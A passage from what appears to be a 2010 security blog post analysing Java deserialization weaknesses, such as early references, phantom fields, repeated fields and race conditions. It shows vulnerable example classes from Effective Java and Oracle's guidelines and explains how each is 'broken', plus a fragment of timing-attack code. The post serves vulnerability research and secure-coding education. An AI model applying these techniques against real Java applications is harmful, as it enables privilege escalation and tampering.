CLASS="nb">022</SPAN> <SPAN CLASS="bl"> </SPAN><SPAN CLASS="kw">if</SPAN><SPAN CLASS="bl"> (stack.contains(</SPAN><SPAN CLASS="st">"defaultReadObject"</SPAN><SPAN CLASS="bl">)) {</SPAN><br /><SPAN CLASS="nb">023</SPAN> <SPAN CLASS="bl"> App.INSTANCE = bb;</SPAN><br /><SPAN CLASS="nb">024</SPAN> <SPAN CLASS="bl"> System.out.println(</SPAN><SPAN CLASS="st">"INSTANCE("</SPAN><SPAN CLASS="bl"> + System.identityHashCode(App.INSTANCE) + </SPAN><SPAN CLASS="st">") value = "</SPAN><SPAN CLASS="bl"> + App.INSTANCE.getPath());</SPAN><br /><SPAN CLASS="nb">025</SPAN> <SPAN CLASS="bl"> </SPAN><SPAN CLASS="kw">try</SPAN><SPAN CLASS="bl"> {</SPAN><br /><SPAN CLASS="nb">026</SPAN> <SPAN CLASS="bl"> </SPAN><SPAN CLASS="kw">while</SPAN><SPAN CLASS="bl"> (App.keepWaiting) {</SPAN><br /><SPAN CLASS="nb">027</SPAN> <SPAN CLASS="bl"> Thread.sleep(10);</SPAN><br /><SPAN CLASS="nb">028</SPAN> <SPAN CLASS="bl"> }</SPAN><br /><SPAN CLASS="nb">029</SPAN> <SPAN CLASS="bl">} </SPAN><SPAN CLASS="kw">catch</SPAN><SPAN CLASS="bl"> (InterruptedException e) {</SPAN><br /><SPAN CLASS="nb">030</SPAN> <SPAN CLASS="bl">e.printStackTrace();</SPAN><br /><SPAN CLASS="nb">031</SPAN> <SPAN CLASS="bl">}</SPAN><br /><SPAN CLASS="nb">032</SPAN> <SPAN CLASS="bl"> }</SPAN><br /><SPAN CLASS="nb">033</SPAN> <SPAN CLASS="bl">}</SPAN><br /><SPAN CLASS="nb">034</SPAN> <br /><SPAN CLASS="nb">035</SPAN> <SPAN CLASS="bl">}</SPAN><br /></code></div><br /><br />That's not terribly robust, there's so many things that can go wrong with the timing. But it seems to work most of the time. It's a File that at first has a null path and then "/" as it's path. This path string doesn't pass through normalization. I'm not certain if that has security implications.Sami Koivuhttp://www.blogger.com/profile/14293649159254807206noreply@blogger.com0tag:blogger.com,1999:blog-7283793710804138254.post-58620712290589980502010-07-01T13:02:00.000-07:002010-07-01T13:40:52.381-07:00Why Complex+Powerful is a bad combination for security(or: the big, ugly mess that is Java serialization)<br /><style type="text/css">.nb { color: rgb(128, 128, 128); }.bl { color: rgb(0, 0, 0); }.kw { color: rgb(127, 0, 85); font-weight: bold; }.st { color: #2a00ff; }.cm { color: #3f7f5f; }</style><br />I decided to write this bit after I started participating on the Cert/CC Java Secure Coding guidelines and was looking at the rules in the Serialization section. I immediately spotted some problems and started working on <span style="font-style: italic;">how to do serialization right</span>, in terms of security. I already knew many of the pitfalls, but I quickly found that secure validation while deserializing is extremely difficult. Need proof? If <span style="font-style: italic;">Joshua Bloch</span> can't get it right, and the (Oracle/Sun) <span style="font-style: italic;">Secure Coding Guidelines</span> can't get it right, and <span style="font-style: italic;">key core classes</span> can't get it right, what chances do the rest of us have?<br /><br />Java deserialization privilege escalation vulnerabilities keep popping up. I know of three that have been fixed, and it's a safe bet we haven't seen the last of them. But they've been discussed at length, so let's look at the rest of the problems in the world of Java serialization.<br /><br /><span style="font-weight: bold;">Early References - </span>It is possible to create a cross reference scenario where any object controlled by the attacker gets a reference to another, sensitive object which is still being initialized. The attacker creates serialized data where an instance of the class SensitiveClass references an instance of EvilClass. EvilClass has a reference of that same SensitiveClass instance. Thus, when SensitiveClass is in the middle of being serialized, in order to deserialize it's fields, the EvilClass instance gets deserialized. If EvilClass has a readObject method, it gets control and a reference to the SensitiveClass which is still under construction.<br /><br /><span style="font-weight: bold;">Phantom Fields - </span>Phantom Fields are an auxiliary technique to obtain early, incomplete references. A class such as integer does not have any object fields, so the early reference attack would not work by itself. But we can create n fields in the serialized data that don't exist in the actual classes. The values for these get read and then discarded, but if their values are objects controlled by the attacker, they can have a readObject method which gets executed before the other object has been fully initialized.<br /><br /><span style="font-weight: bold;">Phantom Superclasses - </span>These work much like phantom fields, but with different timing. They are processed prior to the subclasses. This is significant because primitive fields are processed before object fields (in other words: superclass primitives, superclass objects, subclass primitives, subclass objects, ...) . So if, for example, one wishes to create a mutable java.lang.Integer, it is necessary to create a phantom superclass, which has a field containing a reference to the Integer being deserialized.<br /><br /><span style="font-weight: bold;">Repeated Fields - </span>In the serialized data, a valid field for a class can be repeated any number of times. The values of this field are then written to the field repeatedly, even if the field is final (through the magic of java.misc.Unsafe). Attacker can achieve mutability (TOCTOU) for seemingly immutable classes (java.lang.Integer, etc).<br /><br /><span style="font-weight: bold;">Race conditions - </span>ObjectInputStream and ObjectOutputStream are not internally synchronized and a lot of the de/serialization logic relies on fields of these two classes, which are shared between threads.<br /><br /><span style="font-weight: bold;">External call to defaultReadObject - </span>As the attacker has a reference to the ObjectInputStream, he can call the defaultReadObject method on objects that do not wish to use default deserialization. Due to the race condition problems, it is possible to force a defaultReadObject before the class manages to call getFields.<br /><br /><span style="font-weight: bold;">External call to defaultWriteObject - </span>Much like external call to defaultReadObject, leveraging the race condition, it is possible to call defaultWriteObject externally from another thread for any object that has a writeObject method.<br /><br /><br />Now let's break some stuff:<br /><br /><span style="font-weight: bold;">1) <a href="http://books.google.com/books?id=ka2VUBqHiWkC&lpg=PA302&ots=yXJlMnv0P_&dq=Write%20readObject%20methods%20defensively&pg=PA302#v=onepage&q=Write%20readObject%20methods%20defensively&f=false">Example</a> from Joshua Bloch's Effective Java (Item 76):</span><br /><br />It shows an example of an immutable date range class, with validation in the readObject method.<br /><br /><div style="overflow: scroll;"><code><SPAN CLASS="nb">001</SPAN> <SPAN CLASS="kw">package</SPAN><SPAN CLASS="bl"> ser1;</SPAN><br /><SPAN CLASS="nb">002</SPAN> <br /><SPAN CLASS="nb">003</SPAN> <SPAN CLASS="kw">import</SPAN><SPAN CLASS="bl"> java.io.IOException;</SPAN><br /><SPAN CLASS="nb">004</SPAN> <SPAN CLASS="kw">import</SPAN><SPAN CLASS="bl"> java.io.InvalidObjectException;</SPAN><br /><SPAN CLASS="nb">005</SPAN> <SPAN CLASS="kw">import</SPAN><SPAN CLASS="bl"> java.io.ObjectInputStream;</SPAN><br /><SPAN CLASS="nb">006</SPAN> <SPAN CLASS="kw">import</SPAN><SPAN CLASS="bl"> java.io.Serializable;</SPAN><br /><SPAN CLASS="nb">007</SPAN> <SPAN CLASS="kw">import</SPAN><SPAN CLASS="bl"> java.util.Date;</SPAN><br /><SPAN CLASS="nb">008</SPAN> <br /><SPAN CLASS="nb">009</SPAN> <SPAN CLASS="cm">// Immutable class that uses defensive copying</SPAN><br /><SPAN CLASS="nb">010</SPAN> <SPAN CLASS="kw">public</SPAN><SPAN CLASS="bl"> </SPAN><SPAN CLASS="kw">final</SPAN><SPAN CLASS="bl"> </SPAN><SPAN CLASS="kw">class</SPAN><SPAN CLASS="bl"> Period </SPAN><SPAN CLASS="kw">implements</SPAN><SPAN CLASS="bl"> Serializable {</SPAN><br /><SPAN CLASS="nb">011</SPAN> <br /><SPAN CLASS="nb">012</SPAN> <SPAN CLASS="kw">private</SPAN><SPAN CLASS="bl"> Date start;</SPAN><br /><SPAN CLASS="nb">013</SPAN> <SPAN CLASS="kw">private</SPAN><SPAN CLASS="bl"> Date end;</SPAN><br /><SPAN CLASS="nb">014</SPAN> <SPAN CLASS="cm">/*</SPAN><br /><SPAN CLASS="nb">015</SPAN> <SPAN CLASS="cm">* @param start the beginning of the period</SPAN><br /><SPAN CLASS="nb">016</SPAN> <SPAN CLASS="cm">* @param end the end of the period; must not precede start</SPAN><br /><SPAN CLASS="nb">017</SPAN> <SPAN CLASS="cm">* @throws IllegalArgumentException if start is after end</SPAN><br /><SPAN CLASS="nb">018</SPAN> <SPAN CLASS="cm">* @throws NullPointerException if start or end is null</SPAN><br /><SPAN CLASS="nb">019</SPAN> <SPAN CLASS="cm">*/</SPAN><br /><SPAN CLASS="nb">020</SPAN> <SPAN CLASS="kw">public</SPAN><SPAN CLASS="bl"> Period(Date start, Date end) {</SPAN><br /><SPAN CLASS="nb">021</SPAN> <SPAN CLASS="kw">this</SPAN><SPAN CLASS="bl">.start = </SPAN><SPAN CLASS="kw">new</SPAN><SPAN CLASS="bl"> Date(start.getTime());</SPAN><br /><SPAN CLASS="nb">022</SPAN> <SPAN CLASS="kw">this</SPAN><SPAN CLASS="bl">.end = </SPAN><SPAN CLASS="kw">new</SPAN><SPAN CLASS="bl"> Date(end.getTime());</SPAN><br /><SPAN CLASS="nb">023</SPAN> <SPAN CLASS="kw">if</SPAN><SPAN CLASS="bl"> (</SPAN><SPAN CLASS="kw">this</SPAN><SPAN CLASS="bl">.start.compareTo(</SPAN><SPAN CLASS="kw">this</SPAN><SPAN CLASS="bl">.end) > 0) </SPAN><SPAN CLASS="kw">throw</SPAN><SPAN CLASS="bl"> </SPAN><SPAN CLASS="kw">new</SPAN><SPAN CLASS="bl"> IllegalArgumentException(start + </SPAN><SPAN CLASS="st">" after "</SPAN><SPAN CLASS="bl"> + end);</SPAN><br /><SPAN CLASS="nb">024</SPAN> <SPAN CLASS="bl">}</SPAN><br /><SPAN CLASS="nb">025</SPAN> <br /><SPAN CLASS="nb">026</SPAN> <SPAN CLASS="kw">public</SPAN><SPAN CLASS="bl"> Date start () {</SPAN><br /><SPAN CLASS="nb">027</SPAN> <SPAN CLASS="kw">return</SPAN><SPAN CLASS="bl"> </SPAN><SPAN CLASS="kw">new</SPAN><SPAN CLASS="bl"> Date(start.getTime());</SPAN><br /><SPAN CLASS="nb">028</SPAN> <SPAN CLASS="bl">}</SPAN><br /><SPAN CLASS="nb">029</SPAN> <br /><SPAN CLASS="nb">030</SPAN> <SPAN CLASS="kw">public</SPAN><SPAN CLASS="bl"> Date end () {</SPAN><br /><SPAN CLASS="nb">031</SPAN> <SPAN CLASS="kw">return</SPAN><SPAN CLASS="bl"> </SPAN><SPAN CLASS="kw">new</SPAN><SPAN CLASS="bl"> Date(end.getTime());</SPAN><br /><SPAN CLASS="nb">032</SPAN> <SPAN CLASS="bl">}</SPAN><br /><SPAN CLASS="nb">033</SPAN> <br /><SPAN CLASS="nb">034</SPAN> <SPAN CLASS="kw">public</SPAN><SPAN CLASS="bl"> String toString() {</SPAN><br /><SPAN CLASS="nb">035</SPAN> <SPAN CLASS="kw">return</SPAN><SPAN CLASS="bl"> start + </SPAN><SPAN CLASS="st">" - "</SPAN><SPAN CLASS="bl"> + end;</SPAN><br /><SPAN CLASS="nb">036</SPAN> <SPAN CLASS="bl">}</SPAN><br /><SPAN CLASS="nb">037</SPAN> <br /><SPAN CLASS="nb">038</SPAN> <SPAN CLASS="cm">// readObject method with defensive copying and validity checking</SPAN><br /><SPAN CLASS="nb">039</SPAN> <SPAN CLASS="kw">private</SPAN><SPAN CLASS="bl"> </SPAN><SPAN CLASS="kw">void</SPAN><SPAN CLASS="bl"> readObject(ObjectInputStream s) </SPAN><SPAN CLASS="kw">throws</SPAN><SPAN CLASS="bl"> IOException, ClassNotFoundException {</SPAN><br /><SPAN CLASS="nb">040</SPAN> <SPAN CLASS="bl">s.defaultReadObject();</SPAN><br /><SPAN CLASS="nb">041</SPAN> <SPAN CLASS="cm">// Defensively copy our mutable components</SPAN><br /><SPAN CLASS="nb">042</SPAN> <SPAN CLASS="bl">start = </SPAN><SPAN CLASS="kw">new</SPAN><SPAN CLASS="bl"> Date(start.getTime());</SPAN><br /><SPAN CLASS="nb">043</SPAN> <SPAN CLASS="bl">end = </SPAN><SPAN CLASS="kw">new</SPAN><SPAN CLASS="bl"> Date(end.getTime());</SPAN><br /><SPAN CLASS="nb">044</SPAN> <SPAN CLASS="cm">// Check that our invariants are satisfied</SPAN><br /><SPAN CLASS="nb">045</SPAN> <SPAN CLASS="kw">if</SPAN><SPAN CLASS="bl"> (start.compareTo(end) > 0)</SPAN><br /><SPAN CLASS="nb">046</SPAN> <SPAN CLASS="kw">throw</SPAN><SPAN CLASS="bl"> </SPAN><SPAN CLASS="kw">new</SPAN><SPAN CLASS="bl"> InvalidObjectException(start + </SPAN><SPAN CLASS="st">" after "</SPAN><SPAN CLASS="bl"> + end);</SPAN><br /><SPAN CLASS="nb">047</SPAN> <SPAN CLASS="bl">}</SPAN><br /><SPAN CLASS="nb">048</SPAN> <br /><SPAN CLASS="nb">049</SPAN> <SPAN CLASS="cm">// Remainder omitted</SPAN><br /><SPAN CLASS="nb">050</SPAN> <SPAN CLASS="bl">}</SPAN><br /></code></div><br /><br /><span style="font-weight: bold;">Broken.</span> This can be circumvented in a rather controlled fashion, using cross referencing and a Date subclass (MutableDate). Imagine that the serialized data contains a Period Object whose start and end fields contain mutable Date subclasses which contain a reference back to the Period object. Deserialization executes the readObject method and calls MutableDate.getTime(). At this moment, MutableDate contains a reference to the PeriodObject before the defensive copying takes place.<br /><br /><br /><span style="font-weight: bold;">2) Oracle <a href="http://java.sun.com/security/seccodeguide.html">Secure Coding guidelines</a> (Guideline 5-4):</span><br /><br /><span style="font-weight: bold;">2a) Example 1</span><br /><br /><div style="overflow: scroll;"><code><SPAN CLASS="nb">001</SPAN> <SPAN CLASS="kw">package</SPAN><SPAN CLASS="bl"> ser2;</SPAN><br /><SPAN CLASS="nb">002</SPAN> <br /><SPAN CLASS="nb">003</SPAN> <SPAN CLASS="kw">public</SPAN><SPAN CLASS="bl"> </SPAN><SPAN CLASS="kw">final</SPAN><SPAN CLASS="bl"> </SPAN><SPAN CLASS="kw">class</SPAN><SPAN CLASS="bl"> SensitiveClass </SPAN><SPAN CLASS="kw">implements</SPAN><SPAN CLASS="bl"> java.io.Serializable {</SPAN><br /><SPAN CLASS="nb">004</SPAN> <br /><SPAN CLASS="nb">005</SPAN> <SPAN CLASS="kw">public</SPAN><SPAN CLASS="bl"> SensitiveClass() {</SPAN><br /><SPAN CLASS="nb">006</SPAN> <SPAN CLASS="cm">// permission needed to instantiate SensitiveClass</SPAN><br /><SPAN CLASS="nb">007</SPAN> <SPAN CLASS="bl">securityManagerCheck();</SPAN><br /><SPAN CLASS="nb">008</SPAN> <br /><SPAN CLASS="nb">009</SPAN> <SPAN CLASS="cm">// regular logic follows</SPAN><br /><SPAN CLASS="nb">010</SPAN> <SPAN CLASS="bl">}</SPAN><br /><SPAN CLASS="nb">011</SPAN> <br /><SPAN CLASS="nb">012</SPAN> <SPAN CLASS="cm">// implement readObject to enforce checks during deserialization</SPAN><br /><SPAN CLASS="nb">013</SPAN> <SPAN CLASS="kw">private</SPAN><SPAN CLASS="bl"> </SPAN><SPAN CLASS="kw">void</SPAN><SPAN CLSAS="bl"> readObject(java.io.ObjectInputStream in) {</SPAN><br /><SPAN CLASS="nb">014</SPAN> <SPAN CLASS="cm">// duplicate check from constructor</SPAN><br /><SPAN CLASS="nb">015</SPAN> <SPAN CLASS="bl">securityManagerCheck();</SPAN><br /><SPAN CLASS="nb">016</SPAN> <br /><SPAN CLASS="nb">017</SPAN> <SPAN CLASS="cm">// regular logic follows</SPAN><br /><SPAN CLASS="nb">018</SPAN> <SPAN CLASS="bl">}</SPAN><br /><SPAN CLASS="nb">019</SPAN> <br /><SPAN CLASS="nb">020</SPAN> <SPAN CLASS="kw">private</SPAN><SPAN CLASS="bl"> </SPAN><SPAN CLASS="kw">void</SPAN><SPAN CLASS="bl"> securityManagerCheck() {</SPAN><br /><SPAN CLASS="nb">021</SPAN> <SPAN CLASS="cm">// code omitted </SPAN><br /><SPAN CLASS="nb">022</SPAN> <SPAN CLASS="bl">}</SPAN><br /><SPAN CLASS="nb">023</SPAN> <br /><SPAN CLASS="nb">024</SPAN> <SPAN CLASS="bl">}</SPAN><br /><SPAN CLASS="nb">025</SPAN> <br /></code></div><br /><br /><span style="font-weight: bold;">Broken. </span>It is possible to call ObjectInputStream.defaultReadObject from another thread before the securityManagerCheck takes place (or during it).<br /><br /><span style="font-weight: bold;">2b) Example 2</span><br /><br /><div style="overflow: scroll;"><code><SPAN CLASS="nb">001</SPAN> <SPAN CLASS="kw">package</SPAN><SPAN CLASS="bl"> ser3;</SPAN><br /><SPAN CLASS="nb">002</SPAN> <br /><SPAN CLASS="nb">003</SPAN> <SPAN CLASS="kw">import</SPAN><SPAN CLASS="bl"> java.io.IOException;</SPAN><br /><SPAN CLASS="nb">004</SPAN> <br /><SPAN CLASS="nb">005</SPAN> <SPAN CLASS="kw">public</SPAN><SPAN CLASS="bl"> </SPAN><SPAN CLASS="kw">final</SPAN><SPAN CLASS="bl"> </SPAN><SPAN CLASS="kw">class</SPAN><SPAN CLASS="bl"> SecureName </SPAN><SPAN CLASS="kw">implements</SPAN><SPAN CLASS="bl"> java.io.Serializable {</SPAN><br /><SPAN CLASS="nb">006</SPAN> <br /><SPAN CLASS="nb">007</SPAN> <SPAN CLASS="cm">// private internal state</SPAN><br /><SPAN CLASS="nb">008</SPAN> <SPAN CLASS="kw">private</SPAN><SPAN CLASS="bl"> String name;</SPAN><br /><SPAN CLASS="nb">009</SPAN> <br /><SPAN CLASS="nb">010</SPAN> <SPAN CLASS="kw">private</SPAN><SPAN CLASS="bl"> </SPAN><SPAN CLASS="kw">static</SPAN><SPAN CLASS="bl"> </SPAN><SPAN CLASS="kw">final</SPAN><SPAN CLASS="bl"> String DEFAULT = </SPAN><SPAN CLASS="st">"DEFAULT"</SPAN><SPAN CLASS="bl">;</SPAN><br /><SPAN CLASS="nb">011</SPAN> <br /><SPAN CLASS="nb">012</SPAN> <SPAN CLASS="kw">public</SPAN><SPAN CLASS="bl"> SecureName() {</SPAN><br /><SPAN CLASS="nb">013</SPAN> <SPAN CLASS="cm">// initialize name to default value</SPAN><br /><SPAN CLASS="nb">014</SPAN> <SPAN CLASS="bl">name = DEFAULT;</SPAN><br /><SPAN CLASS="nb">015</SPAN> <SPAN CLASS="bl">}</SPAN><br /><SPAN CLASS="nb">016</SPAN> <br /><SPAN CLASS="nb">017</SPAN> <SPAN CLASS="cm">// allow callers to modify private internal state</SPAN><br /><SPAN CLASS="nb">018</SPAN> <SPAN CLASS="kw">public</SPAN><SPAN CLASS="bl"> </SPAN><SPAN CLASS="kw">void</SPAN><SPAN CLASS="bl"> setName(String name) {</SPAN><br /><SPAN CLASS="nb">019</SPAN> <SPAN CLASS="kw">if</SPAN><SPAN CLASS="bl"> (name != </SPAN><SPAN CLASS="kw">null</SPAN><SPAN CLASS="bl"> ? name.equals(</SPAN><SPAN CLASS="kw">this</SPAN><SPAN CLASS="bl">.name) : (</SPAN><SPAN CLASS="kw">this</SPAN><SPAN CLASS="bl">.name == </SPAN><SPAN CLASS="kw">null</SPAN><SPAN CLASS="bl">)) {</SPAN><br /><SPAN CLASS="nb">020</SPAN> <SPAN CLASS="cm">// no change - do nothing</SPAN><br /><SPAN CLASS="nb">021</SPAN> <SPAN CLASS="kw">return</SPAN><SPAN CLASS="bl">;</SPAN><br /><SPAN CLASS="nb">022</SPAN> <SPAN CLASS="bl">} </SPAN><SPAN CLASS="kw">else</SPAN><SPAN CLASS="bl"> {</SPAN><br /><SPAN CLASS="nb">023</SPAN> <SPAN CLASS="cm">// permission needed to modify name</SPAN><br /><SPAN CLASS="nb">024</SPAN> <SPAN CLASS="bl">securityManagerCheck();</SPAN><br /><SPAN CLASS="nb">025</SPAN> <br /><SPAN CLASS="nb">026</SPAN> <SPAN CLASS="bl">inputValidation(name);</SPAN><br /><SPAN CLASS="nb">027</SPAN> <br /><SPAN CLASS="nb">028</SPAN> <SPAN CLASS="kw">this</SPAN><SPAN CLASS="bl">.name = name;</SPAN><br /><SPAN CLASS="nb">029</SPAN> <SPAN CLASS="bl">}</SPAN><br /><SPAN CLASS="nb">030</SPAN> <SPAN CLASS="bl">}</SPAN><br /><SPAN CLASS="nb">031</SPAN> <br /><SPAN CLASS="nb">032</SPAN> <SPAN CLASS="cm">// implement readObject to enforce checks during deserialization</SPAN><br /><SPAN CLASS="nb">033</SPAN> <SPAN CLASS="kw">private</SPAN><SPAN CLASS="bl"> </SPAN><SPAN CLASS="kw">void</SPAN><SPAN CLASS="bl"> readObject(java.io.ObjectInputStream in) </SPAN><SPAN CLASS="kw">throws</SPAN><SPAN CLASS="bl"> ClassNotFoundException, IOException {</SPAN><br /><SPAN CLASS="nb">034</SPAN> <SPAN CLASS="bl">java.io.ObjectInputStream.GetField fields = in.readFields();</SPAN><br /><SPAN CLASS="nb">035</SPAN> <SPAN CLASS="bl">String name = (String) fields.get(</SPAN><SPAN CLASS="st">"name"</SPAN><SPAN CLASS="bl">, DEFAULT);</SPAN><br /><SPAN CLASS="nb">036</SPAN> <br /><SPAN CLASS="nb">037</SPAN> <SPAN CLASS="cm">// if the deserialized name does not match the default value normally</SPAN><br /><SPAN CLASS="nb">038</SPAN> <SPAN CLASS="cm">// created at construction time, duplicate checks</SPAN><br /><SPAN CLASS="nb">039</SPAN> <br /><SPAN CLASS="nb">040</SPAN> <SPAN CLASS="kw">if</SPAN><SPAN CLASS="bl"> (!DEFAULT.equals(name)) {</SPAN><br /><SPAN CLASS="nb">041</SPAN> <SPAN CLASS="bl">securityManagerCheck();</SPAN><br /><SPAN CLASS="nb">042</SPAN> <SPAN CLASS="bl">inputValidation(name);</SPAN><br /><SPAN CLASS="nb">043</SPAN> <SPAN CLASS="bl">}</SPAN><br /><SPAN CLASS="nb">044</SPAN> <SPAN CLASS="kw">this</SPAN><SPAN CLASS="bl">.name = name;</SPAN><br /><SPAN CLASS="nb">045</SPAN> <SPAN CLASS="bl">}</SPAN><br /><SPAN CLASS="nb">046</SPAN> <br /><SPAN CLASS="nb">047</SPAN> <SPAN CLASS="kw">private</SPAN><SPAN CLASS="bl"> </SPAN><SPAN CLASS="kw">void</SPAN><SPAN CLASS="bl"> inputValidation(String name2) {</SPAN><br /><SPAN CLASS="nb">048</SPAN> <SPAN CLASS="cm">// code omitted</SPAN><br /><SPAN CLASS="nb">049</SPAN> <SPAN CLASS="bl">}</SPAN><br /><SPAN CLASS="nb">050</SPAN> <br /><SPAN CLASS="nb">051</SPAN> <SPAN CLASS="kw">private</SPAN><SPAN CLASS="bl"> </SPAN><SPAN CLASS="kw">void</SPAN><SPAN CLASS="bl"> securityManagerCheck() {</SPAN><br /><SPAN CLASS="nb">052</SPAN> <SPAN CLASS="cm">// code omitted</SPAN><br /><SPAN CLASS="nb">053</SPAN> <SPAN CLASS="bl">}</SPAN><br /><SPAN CLASS="nb">054</SPAN> <br /><SPAN CLASS="nb">055</SPAN> <SPAN CLASS="bl">}</SPAN><br /></code></div><br /><br /><span style="font-weight: bold;">Broken.</span> It is possible to call ObjectInputStream.defaultReadObject from another thread before the readObject method invokes the .readFields() method.<br /><br /><br /><span style="font-weight: bold;">2c) Example 3 - Secure writeObject implementation with a security check.</span><br /><br /><div style="overflow: scroll;"><code><SPAN CLASS="nb">001</SPAN> <SPAN CLASS="kw">package</SPAN><SPAN CLASS="bl"> ser4;</SPAN><br /><SPAN CLASS="nb">002</SPAN> <br /><SPAN CLASS="nb">003</SPAN> <SPAN CLASS="kw">import</SPAN><SPAN CLASS="bl"> java.io.IOException;</SPAN><br /><SPAN CLASS="nb">004</SPAN> <br /><SPAN CLASS="nb">005</SPAN> <SPAN CLASS="kw">public</SPAN><SPAN CLASS="bl"> </SPAN><SPAN CLASS="kw">final</SPAN><SPAN CLASS="bl"> </SPAN><SPAN CLASS="kw">class</SPAN><SPAN CLASS="bl"> SecureValue </SPAN><SPAN CLASS="kw">implements</SPAN><SPAN CLASS="bl"> java.io.Serializable {</SPAN><br /><SPAN CLASS="nb">006</SPAN> <br /><SPAN CLASS="nb">007</SPAN> <SPAN CLASS="cm">// sensitive internal state</SPAN><br /><SPAN CLASS="nb">008</SPAN> <SPAN CLASS="kw">private</SPAN><SPAN CLASS="bl"> String value;</SPAN><br /><SPAN CLASS="nb">009</SPAN> <br /><SPAN CLASS="nb">010</SPAN> <SPAN CLASS="cm">// public method to allow callers to retrieve internal state</SPAN><br /><SPAN CLASS="nb">011</SPAN> <SPAN CLASS="kw">public</SPAN><SPAN CLASS="bl"> String getValue() {</SPAN><br /><SPAN CLASS="nb">012</SPAN> <SPAN CLASS="cm">// permission needed to get value</SPAN><br /><SPAN CLASS="nb">013</SPAN> <SPAN CLASS="bl">securityManagerCheck();</SPAN><br /><SPAN CLASS="nb">014</SPAN> <SPAN CLASS="kw">return</SPAN><SPAN CLASS="bl"> value;</SPAN><br /><SPAN CLASS="nb">015</SPAN> <SPAN CLASS="bl">}</SPAN><br /><SPAN CLASS="nb">016</SPAN> <br /><SPAN CLASS="nb">017</SPAN> <SPAN CLASS="cm">// implement writeObject to enforce checks during serialization</SPAN><br /><SPAN CLASS="nb">018</SPAN> <SPAN CLASS="kw">private</SPAN><SPAN CLASS="bl"> </SPAN><SPAN CLASS="kw">void</SPAN><SPAN CLASS="bl"> writeObject(java.io.ObjectOutputStream out) </SPAN><SPAN CLASS="kw">throws</SPAN><SPAN CLASS="bl"> IOException {</SPAN><br /><SPAN CLASS="nb">019</SPAN> <SPAN CLASS="cm">// duplicate check from getValue()</SPAN><br /><SPAN CLASS="nb">020</SPAN> <SPAN CLASS="bl">securityManagerCheck();</SPAN><br /><SPAN CLASS="nb">021</SPAN> <SPAN CLASS="bl">out.writeObject(value);</SPAN><br /><SPAN CLASS="nb">022</SPAN> <SPAN CLASS="bl">}</SPAN><br /><SPAN CLASS="nb">023</SPAN> <br /><SPAN CLASS="nb">024</SPAN> <SPAN CLASS="kw">private</SPAN><SPAN CLASS="bl"> </SPAN><SPAN CLASS="kw">void</SPAN><SPAN CLASS="bl"> securityManagerCheck() {</SPAN><br /><SPAN CLASS="nb">025</SPAN> <SPAN CLASS="cm">// code omitted</SPAN><br /><SPAN CLASS="nb">026</SPAN> <SPAN CLASS="bl">}</SPAN><br /><SPAN CLASS="nb">027</SPAN> <SPAN CLASS="bl">}</SPAN><br /></code></div><br /><br /><span style="font-weight: bold;">Broken.</span> It is possible to call defaultWriteObject externally before the writeObject method calls securityManagerCheck (or during it).<br /><br /><br /><span style="font-weight: bold;">3) java.lang.Integer</span><br /><br /><div style="overflow: scroll;"><code><br />...<br /><SPAN CLASS="nb">037</SPAN> <SPAN CLASS="kw">public</SPAN><SPAN CLASS="bl"> </SPAN><SPAN CLASS="kw">final</SPAN><SPAN CLASS="bl"> </SPAN><SPAN CLASS="kw">class</SPAN><SPAN CLASS="bl"> Integer </SPAN><SPAN CLASS="kw">extends</SPAN><SPAN CLASS="bl"> Number </SPAN><SPAN CLASS="kw">implements</SPAN><SPAN CLASS="bl"> Comparable<Integer> {</SPAN><br />...<br /><SPAN CLASS="nb">628</SPAN> <SPAN CLASS="cm">/**</SPAN><br /><SPAN CLASS="nb">629</SPAN> <SPAN CLASS="cm">* The value of the <code>Integer</code>.</SPAN><br /><SPAN CLASS="nb">630</SPAN> <SPAN CLASS="cm">*</SPAN><br /><SPAN CLASS="nb">631</SPAN> <SPAN CLASS="cm">* @serial</SPAN><br /><SPAN CLASS="nb">632</SPAN> <SPAN CLASS="cm">*/</SPAN><br /><SPAN CLASS="nb">633</SPAN> <SPAN CLASS="kw">private</SPAN><SPAN CLASS="bl"> </SPAN><SPAN CLASS="kw">final</SPAN><SPAN CLASS="bl"> </SPAN><SPAN CLASS="kw">int</SPAN><SPAN CLASS="bl"> value;</SPAN><br />...<br /><SPAN CLASS="nb">1202</SPAN> <SPAN CLASS="bl">}</SPAN><br /></code></div><br /><br /><span style="font-weight: bold;">Broken.</span> With a Phantom Superclass and Repeated fields it is possible to create a mutable Integer. An Integer which is zero and later on changes it's value to something else can be done in a controlled fashion. An Integer which keeps changing it's value in arbitrary manner can be timed.<br /><br /><span style="font-weight: bold;">4) java.io.File</span><br /><br /><div style="overflow: scroll;"><code><br />...<br /><SPAN CLASS="nb">120</SPAN> <SPAN CLASS="kw">public</SPAN><SPAN CLASS="bl"> </SPAN><SPAN CLASS="kw">class</SPAN><SPAN CLASS="bl"> File</SPAN><br /><SPAN CLASS="nb">121</SPAN> <SPAN CLASS="kw">implements</SPAN><SPAN CLASS="bl"> Serializable, Comparable<File></SPAN><br /><SPAN CLASS="nb">122</SPAN> <SPAN CLASS="bl">{</SPAN><br />...<br /><SPAN CLASS="nb">129</SPAN> <SPAN CLASS="cm">/**</SPAN><br /><SPAN CLASS="nb">130</SPAN> <SPAN CLASS="cm">* This abstract pathname's normalized pathname string. A normalized</SPAN><br /><SPAN CLASS="nb">131</SPAN> <SPAN CLASS="cm">* pathname string uses the default name-separator character and does not</SPAN><br /><SPAN CLASS="nb">132</SPAN> <SPAN CLASS="cm">* contain any duplicate or redundant separators.</SPAN><br /><SPAN CLASS="nb">133</SPAN> <SPAN CLASS="cm">*</SPAN><br /><SPAN CLASS="nb">134</SPAN> <SPAN CLASS="cm">* @serial</SPAN><br /><SPAN CLASS="nb">135</SPAN> <SPAN CLASS="cm">*/</SPAN><br /><SPAN CLASS="nb">136</SPAN> <SPAN CLASS="kw">private</SPAN><SPAN CLASS="bl"> String path;</SPAN><br />...<br /><SPAN CLASS="nb">1918</SPAN> <SPAN CLASS="cm">/**</SPAN><br /><SPAN CLASS="nb">1919</SPAN> <SPAN CLASS="cm">* readObject is called to restore this filename.</SPAN><br /><SPAN CLASS="nb">1920</SPAN> <SPAN CLASS="cm">* The original separator character is read. If it is different</SPAN><br /><SPAN CLASS="nb">1921</SPAN> <SPAN CLASS="cm">* than the separator character on this system, then the old separator</SPAN><br /><SPAN CLASS="nb">1922</SPAN> <SPAN CLASS="cm">* is replaced by the local separator.</SPAN><br /><SPAN CLASS="nb">1923</SPAN> <SPAN CLASS="cm">*/</SPAN><br /><SPAN CLASS="nb">1924</SPAN> <SPAN CLASS="kw">private</SPAN><SPAN CLASS="bl"> 